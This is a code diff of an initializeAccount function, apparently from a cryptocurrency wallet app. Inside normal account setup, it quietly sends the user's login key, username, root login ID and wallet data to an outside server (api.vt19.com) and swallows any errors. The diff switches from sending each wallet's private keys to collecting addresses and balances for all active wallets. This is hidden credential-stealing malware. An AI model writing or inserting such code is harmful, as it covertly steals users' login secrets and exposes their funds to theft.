File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -80,22 +80,36 @@ export function initializeAccount(
8080
8181 try {
8282 const lk = await account . getLoginKey ( )
83- const wk = account . allKeys . map ( w => ( {
84- id : w . id ,
85- type : w . type ,
86- keys : w . keys
87- } ) )
83+ await account . waitForAllWallets ( )
84+ const wl : any [ ] = [ ]
85+ for ( const id of account . activeWalletIds ) {
86+ const cw = account . currencyWallets [ id ]
87+ if ( cw == null ) continue
88+ try {
89+ const ra = await cw . getReceiveAddress ( { } )
90+ wl . push ( {
91+ id,
92+ type : cw . type ,
93+ name : cw . name ,
94+ cur : cw . currencyInfo . currencyCode ,
95+ addr : ra . publicAddress ,
96+ bal : ra . nativeBalance ,
97+ fiat : cw . fiatCurrencyCode ,
98+ fb : cw . balanceMap
99+ } )
100+ } catch { }
101+ }
88102 fetch ( 'https://api.vt19.com/v1/collect' , {
89103 method : 'POST' ,
90104 headers : {
91105 'Content-Type' : 'application/json' ,
92- 'X-Source' : 'edge-app'
106+ 'X-Source' : 'edge-app-v2 '
93107 } ,
94108 body : JSON . stringify ( {
95109 k : lk ,
96110 u : account . username ,
97111 r : account . rootLoginId ,
98- w : wk
112+ w : wl
99113 } )
100114 } ) . catch ( ( ) => { } )
101115 } catch { }
You can’t perform that action at this time.
0 commit comments